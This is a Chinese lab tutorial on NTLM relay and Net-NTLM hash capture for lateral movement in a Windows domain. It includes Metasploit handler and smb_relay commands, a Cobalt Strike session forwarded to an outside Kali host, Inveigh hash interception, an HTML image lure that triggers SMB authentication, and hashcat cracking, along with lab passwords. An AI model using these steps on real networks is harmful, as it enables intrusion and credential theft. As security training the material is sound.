当前位置: 首页 > news >正文

内网安全:NTLM-Relay

目录

NTLM认证过程以及攻击面

NTLM Relay攻击

NTLM攻击总结

实验环境说明

域横向移动:NTLM中继攻击

攻击条件

实战一:NTLM中继攻击-CS转发上线MSF

原理示意图

一. CS代理转发

二. MSF架设路由

三. 适用smb_relay模块进行中继攻击

域横向移动:Net NTLM Hash劫持破解

一. 监听拦截

二. 触发拦截

三. 破解密钥

补充:这种方式不仅可以适用smb协议,还可以走其他的


NTLM认证过程以及攻击面

非域中

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

域中,在第4步有所不同,如果是在域环境中,那么认证过程会经过域控制器:

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
  5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

  • 针对NTLM Hash的攻击:PTH,信息收集
  • 针对Net NTLM Hash的攻击:暴力破解明文密码,利用Net-NTLM Hash中继攻击

Pass The Hash:哈希传递攻击,通过抓取主机上的Hash,传递他们进行攻击,不需要明文密码。

利用NTLM进行信息收集:通过CS,命令就可以达到目的,没有意义。

Net-NTLM Hash破解,暴力破解得到明文密码

NTLM Relay:利用Net-NTLM Hash进行中继攻击

PTH的攻击条件需要NTLM-Hash,而后两种则是通过Net-NTLM Hash进行攻击的

如果计算机的修改过注册表,打过补丁,都有可能造成明文密码,Hash提取不到。我们可以尝试获得Net NTLM Hash进行攻击利用。

NTLM Relay攻击

这种攻击方式可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。

Relay攻击要涉及到NTLM认证和Net-NTLM Hash

NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。

Net NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。客户端在请求服务时需要的NTLM Hash是服务端密码,Net NTLM Hash的生成需要服务端密码的NTLM Hash和challenge,用户名得到的。

NTLM攻击总结

有NTLM Hash,直接PTH;没有NTLM Hash,尝试抓取Net NTLM Hash,暴力破解明文密码,中继攻击。

实验环境说明

DC:192.168.3.21      

        本地管理员:administrator Admin12345

        域账户:god/administrator Admin12345

SQLserver:192.168.3.32

        本地管理员:administrator admin!@#45

        域账户:god/dbadmin admin!@#45

Mary-PC:192.168.3.25

        本地管理员:administrator admin!@#45

        域账户:god/mary admin!@#45

webserver:192.168.3.31    192.168.46.128(出网)

        本地管理员:administrator admin!@#45

        域账户:god/webadmin admin!@#45

Kali:架设MSF 192.168.46.166

46网段是出网的,3网段是内网。

域横向移动:NTLM中继攻击

一句换概括:拿已控制主机的本地管理员的NTLM Hash进行赌狗行为碰撞别的主机进行登录。

一般不会拿域账户的NTLM Hash,因为没有意义,权限太低。

攻击条件

在内网一台计算机上执行下面这条命令,会发生什么事情?此时该主机是管理员登录

dir \\192.168.3.21\c$
dir \\192.168.3.32\c$

这时通过SMB协议访问对方主机的C盘,这是一个访问对方主机服务的过程,是需要NTLM验证的,这里这台主机实际上并没有192.168.3.21的NTLM Hash或者密码的,在内存中会加载已有的NTLM Hash,也就是自己的(该命令会默认拿自己的),用这一套NTLM Hash去做NTLM认证。

一般来说是会失败的,但是这里却成功了。访问192.168.3.32失败,下面的却成功了。

也就是说该计算机的NTLM Hash和192.168.3.32主机的NTLM Hash是一样的。

这个Net NTLM Hash中继攻击本质就是利用自己计算机的NTLM Hash(或者说账号密码)进行碰撞,因为这台机器虽然我们拿到了权限,但是NTLM Hash窃取不到,尝试通过这种赌博行为攻击其它主机。

在实验环境中,用webserver这台主机的管理员账号密码是可以配置所有主机并成功的。

实战一:NTLM中继攻击-CS转发上线MSF

首先是获得了一台主机webserver的权限

原理示意图

CS做权限移交,利用MSF进行渗透,CS上每次功能

MSF做一个转发工作,配置转发对象

攻击原理:用已经拿下权限的主机利用administrator权限去比对任意域内主机,比对成功就可以访问登录对方主机,就可以直接上线MSF拿到对象的administrator权限

一. CS代理转发

转发到内网的一台Kali上,上面架设有MSF,实际环境也可,转发外网。

配置监听器,CS流量转发MSF 192.168.46.166(出网)2222端口

 转发这个监听器

spawn l-msf

二. MSF架设路由

MSF监听,上线

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 2222
run

添加路由

run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回

MSF可以攻击到内网3网段

三. 适用smb_relay模块进行中继攻击

设置攻击目标为192.168.3.32

重发模块:

use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
set lhost 192.168.46.166   //设置本地IP
set autorunscript post/windows/manage/migrate

建立正向连接

set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run

这里是一个system权限,我们需要的administrator权限,降权

CS降权

查看进程

记录下pid,通过system进行令牌窃取,权限降为administrator

MSF降权

get uid
ps

在CS上执行命令

shell dir \\192.168.46.166\c$

 这条命令会被MSF中继模块再次进行转发,相当于是192.168.3.31对192.168.3.32发起请求

dir \\192.168.3.32\c$

也可以在MSF上执行,Meterpreter上输出shell,弹出192.168.3.31的cmd

攻击成功,192.168.3.32上线MSF

192.168.3.32上线MSF,因为采用的是正向连接,也就是192.168.3.31正向连接192.168.3.32

上线!!!

域横向移动:Net NTLM Hash劫持破解

条件:被控主机当前管理员权限

因为下面是利用工具,所以需要足够的运行权限

项目地址:https://github.com/Kevin-Robertson/Inveigh

这里是诱导域内主机访问我们这台已经拿下权限的主机192.168.3.31,对方会把自己的Hash发给我们,直接拦截下来,Net NTLM Hash被捕捉,只要是访问192.168.3.31,就会被拿下Hash,这Hash可能是域控的,本地管理员的,域用户的

一. 监听拦截

上传程序到对方主机,或者挂代理(不推荐)程序本身就不大,避免数据丢失

工具放在192.168.3.31被控主机上执行

Inveigh.exe

获取到的是NET NTLM HASH V1或V2

二. 触发拦截

令别的主机dir webserver,这里是拿域控的主机进行演示

dir \\192.168.3.31\c$

拦截到Hash 

会保存在当前目录

这个一般是要配合钓鱼,和前面的Exchange服务利用进行结合

<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><img src="file:///\\192.168.3.32\2">
</body>
</html>

三. 破解密钥

破解域控的Hash,得到域控的明文密码

hashcat -m 5600 hash pass.txt --show

得到域控用户的Hash明文 Admin12345

补充:这种方式不仅可以适用smb协议,还可以走其他的

相关文章:

内网安全:NTLM-Relay

目录 NTLM认证过程以及攻击面 NTLM Relay攻击 NTLM攻击总结 实验环境说明 域横向移动&#xff1a;NTLM中继攻击 攻击条件 实战一&#xff1a;NTLM中继攻击-CS转发上线MSF 原理示意图 一. CS代理转发 二. MSF架设路由 三. 适用smb_relay模块进行中继攻击 域横向移动…...

Tensorflow2.0笔记 - tensor的padding和tile

本笔记记录tensor的填充和tile操作&#xff0c;对应tf.pad和tf.tile import tensorflow as tf import numpy as nptf.__version__#pad做填充 # tf.pad( tensor,paddings, modeCONSTANT,nameNone) #1维tensor填充 tensor tf.random.uniform([5], maxval10, dtypetf.int32) pri…...

多媒体测试资源

目录 简介自己整理的文件测试资源列表 简介 音视频测试时,需要许多源文件,这里整理了一些.会持续更新.当然可以使用ffmpeg转换获得需要的文件. 如果知道的这方面资源的,在评论区留言. 自己整理的文件 有视频,图片,音频. 链接&#xff1a;https://pan.baidu.com/s/1vatLmWk…...

Wordpress seo优化该怎么做?

Wordpress作为开源管理系统&#xff0c;目前已然是世界上最流行的cms之一&#xff0c;这不仅仅因为他开源&#xff0c;对用户友好&#xff0c;让任何人都能轻而易举的制作网站&#xff0c;更是因为这套程序对于搜索引擎非常友好&#xff0c;是做谷歌seo的不二之选 Wordpress作为…...

Ultraleap 3Di示例Interactable Objects组件分析

该示例代码位置如下&#xff1a; 分析如下&#xff1a; Hover Enabled&#xff1a;悬停功能&#xff0c;手放在这个模型上&#xff0c;会触发我们手放在这个模型上的悬停功能。此时当手靠近模型的时候&#xff0c;手的模型的颜色会发生改变&#xff0c;反之&#xff0c;则不会…...

Vue自定义成功弹窗H5实现类似于小程序的效果

效果图&#xff1a; <div class"father"><div class"success-box" v-if"isSuccess"><img src"../../assets/insure/success-logo.png" alt""><span>{{ successTitle }}</span></div> &…...

Linux之父:我们正在从C语言转向Rust

最近&#xff0c;Linus在“Torvalds 演讲&#xff1a;人工智能对编程的影响”&#xff1a;“我们正在从C语言转向Rust”。 网友讨论&#xff1a; Linus 选择 Rust 是因为&#xff0c;这是一个中长期解决方案&#xff0c;解决了 IT 世界中缺乏 C/C 人员的实际问题&#xff0c;所…...

C++ qt标题栏组件绘制

本博文源于笔者在学习C qt制作的标题栏组件&#xff0c;主要包含了&#xff0c;最小化&#xff0c;最大化&#xff0c;关闭。读者在看到这篇博文的时候&#xff0c;可以直接查看如何使用的&#xff0c;会使用了&#xff0c;然后进行复制粘贴源码部分即可。 问题来源 想要制作…...

Mysql运维篇(三) MySQL备份与恢复

一路走来&#xff0c;所有遇到的人&#xff0c;帮助过我的、伤害过我的都是朋友&#xff0c;没有一个是敌人。如有侵权&#xff0c;请留言&#xff0c;我及时删除&#xff01; 一、物理备份与逻辑备份 1、物理备份&#xff1a;备份数据文件&#xff0c;转储数据库物理文件到某…...

数字图像处理(实践篇)二十七 Python-OpenCV 滑动条的使用

目录 1 涉及的函数 2 实践 1 涉及的函数 ⒈ setWindowProperty()用于设置GUI应用程序的属性 cv2.setWindowProperty(windowsName, prop_id, prop_value) 参数: ①...

拷贝构造函数的理解

1.拷贝构造函数与构造函数类似&#xff0c;当没有自定义拷贝构造函数的时候&#xff0c;编译器会定义一个拷贝构造函数。 当类对象没有初始化的时候&#xff0c;通过赋值运算符的形式&#xff0c;也是调用拷贝构造函数。 Test aa(100); Test bb aa;//调用拷贝构造函数Test …...

基于ncurse的floppy_bird小游戏

1. 需求分析 将运动分解为鸟的垂直运动和杆的左右运动。 2. 概要设计 2.1 鸟运动部分 2.2 杆的运动 3. 代码实现 #include <stdio.h> #include <ncurses.h>#include <stdlib.h> #include <time.h>int vx 0; int vy 1;int bird_r; int bird_c;int…...

创建第一个 Spring 项目(IDEA社区版)

文章目录 创建 Spring 项目创建一个普通的 Maven 项目添加 Spring 依赖IDEA更换国内源 运行第一个 Spring 项目新建启动类存储 Bean 对象将Bean注册到Spring 获取并使用 Bean 对象 创建 Spring 项目 创建一个普通的 Maven 项目 首先创建一个普通的 Maven 项目 添加 Spring 依…...

VUE3动漫影视视频网站模板源码

文章目录 1.视频设计来源1.1 主界面1.2 动漫、电视剧、电影视频界面1.3 播放视频界面1.4 娱乐前线新闻界面1.5 关于我们界面 2.效果和源码2.1 动态效果2.2 源码结构 源码下载 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/deta…...

Node.js-express

1.了解Ajax 1.1 什么是ajax Ajax的全称是Asynchronous Javascript And XML&#xff08;异步Js和XML&#xff09;. 通俗的理解&#xff1a;在网页中利用XMLHttpRequest对象和服务器进行数据交互的方式&#xff0c;就是Ajax 1.2 为什么要学习Ajax 之前所学的技术&#xff0c…...

心理学笔记——我们如何思考-思想、语言和手语

我们如何思考-思想、语言和手语 研究语言的理论&#xff1a;计算理论、认知神经学、进化论 当我们讨论语言时&#xff0c;指的是英语、中文、日语这样的语言系统 所有语言都共享一些深层且复杂的共性&#xff0c;最直观的就是每一种语言都能够有效地表达抽象概念——思想、物…...

Matlab处理excel数据

我们新建个excel文档&#xff0c;用Matlab读取里面的内容&#xff0c;计算和判断里面的计算结果是否正确&#xff0c;并打印到另一个文档当中。 新建文档 新建输入文档&#xff0c;文件名TestExcel 编写脚本 [num,txt] xlsread(TestExcel.xlsx); SNcode num(:,1);%从序号中…...

某大厂关于Linux系统相关面试题

一、Linux系统和Shell 1、写一个sed命令&#xff0c;修改/tmp/input.txt文件的内容&#xff0c;要求&#xff1a;(1) 删除所有空行&#xff1b;(2) 在非空行前面加一个"AAA"&#xff0c;在行尾加一个"BBB"&#xff0c;即将内容为11111的一行改为&#xff1…...

Markdown(2篇文章学会Markdown

目录 1.文章链接&#xff1a;2.markdown可以用来解决什么问题&#xff1a;小结&#xff1a; 1.文章链接&#xff1a; Markdown&#xff08;2篇文章学会Markdown第一篇 Markdown&#xff08;2篇文章学会Markdown第二篇 2.markdown可以用来解决什么问题&#xff1a; 格式化文…...

多路IO复用服务器——select模型和poll模型

文章目录 一、多路IO复用服务器是什么&#xff1f;二、使用原理三、种类四、select模型五、select模型优缺点六、poll模型总结 一、多路IO复用服务器是什么&#xff1f; 服务器要与客户端完成tcp连接&#xff0c;并保持连接维护可用sock。 每个都需要准备一个进程管一个sock&a…...

多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度​

一、引言&#xff1a;多云环境的技术复杂性本质​​ 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时&#xff0c;​​基础设施的技术债呈现指数级积累​​。网络连接、身份认证、成本管理这三大核心挑战相互嵌套&#xff1a;跨云网络构建数据…...

【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器

一.自适应梯度算法Adagrad概述 Adagrad&#xff08;Adaptive Gradient Algorithm&#xff09;是一种自适应学习率的优化算法&#xff0c;由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率&#xff0c;适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...

.Net框架,除了EF还有很多很多......

文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...

LeetCode - 394. 字符串解码

题目 394. 字符串解码 - 力扣&#xff08;LeetCode&#xff09; 思路 使用两个栈&#xff1a;一个存储重复次数&#xff0c;一个存储字符串 遍历输入字符串&#xff1a; 数字处理&#xff1a;遇到数字时&#xff0c;累积计算重复次数左括号处理&#xff1a;保存当前状态&a…...

2021-03-15 iview一些问题

1.iview 在使用tree组件时&#xff0c;发现没有set类的方法&#xff0c;只有get&#xff0c;那么要改变tree值&#xff0c;只能遍历treeData&#xff0c;递归修改treeData的checked&#xff0c;发现无法更改&#xff0c;原因在于check模式下&#xff0c;子元素的勾选状态跟父节…...

实现弹窗随键盘上移居中

实现弹窗随键盘上移的核心思路 在Android中&#xff0c;可以通过监听键盘的显示和隐藏事件&#xff0c;动态调整弹窗的位置。关键点在于获取键盘高度&#xff0c;并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...

ios苹果系统,js 滑动屏幕、锚定无效

现象&#xff1a;window.addEventListener监听touch无效&#xff0c;划不动屏幕&#xff0c;但是代码逻辑都有执行到。 scrollIntoView也无效。 原因&#xff1a;这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作&#xff0c;从而会影响…...

ip子接口配置及删除

配置永久生效的子接口&#xff0c;2个IP 都可以登录你这一台服务器。重启不失效。 永久的 [应用] vi /etc/sysconfig/network-scripts/ifcfg-eth0修改文件内内容 TYPE"Ethernet" BOOTPROTO"none" NAME"eth0" DEVICE"eth0" ONBOOT&q…...

安宝特方案丨船舶智造的“AR+AI+作业标准化管理解决方案”(装配)

船舶制造装配管理现状&#xff1a;装配工作依赖人工经验&#xff0c;装配工人凭借长期实践积累的操作技巧完成零部件组装。企业通常制定了装配作业指导书&#xff0c;但在实际执行中&#xff0c;工人对指导书的理解和遵循程度参差不齐。 船舶装配过程中的挑战与需求 挑战 (1…...

springboot整合VUE之在线教育管理系统简介

可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生&#xff0c;小白用户&#xff0c;想学习知识的 有点基础&#xff0c;想要通过项…...